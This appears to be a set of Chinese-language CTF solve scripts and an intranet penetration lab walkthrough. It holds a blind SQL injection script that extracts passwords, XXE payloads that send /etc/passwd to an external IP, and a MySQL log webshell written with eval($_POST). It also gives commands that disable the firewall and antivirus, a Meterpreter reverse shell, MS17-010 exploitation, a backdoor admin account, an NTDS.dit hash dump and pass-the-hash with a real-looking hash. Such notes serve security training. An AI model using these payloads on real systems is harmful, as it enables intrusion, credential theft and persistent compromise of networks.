if __name__=='__main__': i=0 whileTrue: p = Pool(100) num=500 for i inrange(100): p.apply_async(buy, args=(num,)) print('Waiting for all buy subprocesses done...') p.close() p.join() print('All subprocesses done.')
p = Pool(100)
for i inrange(100): p.apply_async(solve, args=(num,)) print('Waiting for all solve subprocesses done...') p.close() p.join() print('All subprocesses done.')
# sql_inj("(select substr(hex('1'),1,1))='3'") cha="0123456789ABCDEF" result="" p=0 whileTrue: p+=1 temp='' for i in cha: if sql_inj("(select substr(hex(group_concat(name,',',password)),%d,1) FROM user where id=1)='%s'" % (p,i) ): result+=i temp=i print(result) break if temp!=result[-1]: break
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://39.108.164.219:60005/evil.xml"> %sp; %param1; ]> <r>&exfil;</r>
File stored on http://39.108.164.219/evil.xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://172.21.0.76"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">
router.post('/action', function (req, res) { if (!req.session.sekiro) { res.end("Session required.") } if (!req.session.sekiro.alive) { res.end("You dead.") } var body = JSON.parse(JSON.stringify(req.body));//原型链污染起点 var copybody = clone(body) if (copybody.solution) { req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution) } res.end("提交成功"+JSON.stringify(req.body)) })
s="of SuCh GrEAt powers OR beiNGS tHere may BE conCEivAbly A SuRvIval oF HuGely REmOTE periOd.".replace(" ","")[:-1] result="" for i inrange(0,len(s),5): temp="" for j inrange(5): if s[i+j]==s[i+j].lower(): temp+="0" else : temp+="1" result+=chr(int(temp,2)+ord('A')) print(result)
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM' MOD = len(TABLE) cipher="A8I5z{xr1A_J7ha_vG_TpH410}"
for A inrange(1,MOD): for B inrange(1,MOD): result="" try : #生成加密表 TABLE2={} for b in TABLE: i=TABLE.find(b) TABLE2[TABLE[(A*i + B) % MOD]]=b #解密 for b in cipher: ii=TABLE.find(b) if ii==-1: result+=b else : result+=TABLE2[b] except : pass if"hgame"in result: print(result)
classCar{ constructor(type, model, color, pic, key="") { this.type = type this.model = model this.color = color this.key = key this.pic = pic
let started = false this.start = () => { started = true } this.isStarted = () => { return started } } powerOn() { if (this.isStarted()) { infobox(`Well Done!`) nextCar()
} else { $('.chargeup')[0].play() } } info() { infobox(`This car is a ${this.type}${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`) } repair() { if(urlParams.has('repair')) { $.extend(true, this, JSON.parse(urlParams.get('repair'))) } } light() { infobox(`You turn on the lights ... Nothing happens.`) } battery() { infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`) } ignition() { if (this.key == "") { infobox(`Looks like the key got lost. No wonder the car is not starting ...`) } if (this.key == "🔑") { infobox(`The car started!`) this.start() } } }
1. select "test" into outfile "C:/phpStudy/WWW/test.php"; 2. 日志写shell mysql> show variables like '%general%'#先看下当前mysql默认的日志位置在什么地方,'C:\phpStudy\MySQL\data\stu1.log' 顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来 mysql> set global general_log = on#默认基本都是关闭的,不然这个增删改查的记录量可能会非常大 mysql> set global general_log_file = 'C:/phpStudy/WWW/test.php';#此时,再把原本的日志文件位置指向到目标网站的物理路径 mysql> select '<?php eval($_POST[request]);?>'#开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell
##写完之后记得恢复 mysql> set global general_log_file = 'C:\phpStudy\MySQL\data\stu1.log'; mysql> set global general_log = off;
成功写入shell
直接拿到管理员权限了
meterpreter后攻击
1 2 3 4 5
netsh advfirewall set allprofiles state off#关闭防火墙 net stop windefend netsh firewall set opmode mode=disable bcdedit.exe /set{current} nx AlwaysOff#关闭DEP meterpreter > run killav 关闭杀毒软件
设置代理
1 2 3 4 5 6 7 8 9 10
msfvenom -p php/meterpreter/reverse_tcp -a php -f raw > /tmp/2.php use exploit/multi/handler set payload php/meterpreter/reverse_tcp show options run autoroute -s 192.168.52.143 msf > use auxiliary/server/socks4a 设置socks4代理模块 msf auxiliary(socks4a) > show options msf auxiliary(socks4a) > run vim /etc/proxychains.conf 修改代理监听端口,和前面端口一致
用msf设置的代理不知道为啥不太稳定
于是我用reGeorg来设置代理
emmmm,还是ew好用
内网渗透
因为socks无法代理icmp协议(ping使用的),所以namp要用-Pn选项
1 2 3 4 5 6 7 8 9 10 11
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:50 ?D1��������?����?? Nmap scan report for 192.168.52.138 Host is up (0.00s latency). MAC Address: 00:0C:29:3F:5D:A9 (VMware) Nmap scan report for 192.168.52.141 Host is up (0.00s latency). MAC Address: 00:0C:29:6D:39:34 (VMware) Nmap scan report for www.qiyuanxuetang.net (192.168.52.143) Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 5.01 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-16 13:57 ?D1��������?����?? Nmap scan report for 192.168.52.138 Host is up (0.00031s latency). Not shown: 983 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl MAC Address: 00:0C:29:3F:5D:A9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.04 seconds
Running: Microsoft Windows 7|8|Vista|2008
192.168.52.141
1 2 3 4 5 6 7 8 9 10 11 12 13
21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 777/tcp open multiling-http 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1030/tcp open iad1 1031/tcp open iad2 6002/tcp open X11:2 7001/tcp open afs3-callback 7002/tcp open afs3-prserver 8099/tcp open unknown
Running: Microsoft Windows XP|2003
弱密码登陆ftp,发现啥也弄不了动不动500
因为操作系统比较旧,可以试试MS17-010,成功!
但是只有ms17_010_command才利用成功,只能一次一次set command来执行命令
后来找到cmd/windows/powershell_bind_tcp
能直接返回一个powershell
添加用户
1 2 3
net user ccreater Abc1234 /add net localgroup administrators ccreater /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
域控
1 2 3 4 5 6 7 8 9 10 11 12
net group "domain controllers" /domain 得到域控制器主机名:OWA wmic qfe 查询安装补丁 http://support.microsoft.com/?kbid=976902 OWA Update KB976902 GOD\Administrator 11/21/2010
net user /domain 查询域所有用户 ------------------------------------------------------------------------------- Administrator gqy Guest krbtgt ligang liukaifeng01
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
NTDSDumpEx -d ntds.dit -s system -o domain.txt 得到hash Administrator:500:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::
用msf上的exploit/windows/smb/psexec来进行pth攻击
1 2 3 4 5 6 7
use exploit/windows/smb/psexec set payload windows/meterpreter/bind_tcp set rhost xxx set lport xxx set rhosts 192.168.52.138 set smbuser Administrator set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8
netsh advfirewall set allprofiles state off#关闭防火墙 net stop windefend netsh firewall set opmode mode=disable bcdedit.exe /set{current} nx AlwaysOff#关闭DEP meterpreter > run killav 关闭杀毒软件
use exploit/windows/smb/psexec set lhost xxx set lport xxx set rhosts 192.168.52.138 set smbuser Administrator set smbpass aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8
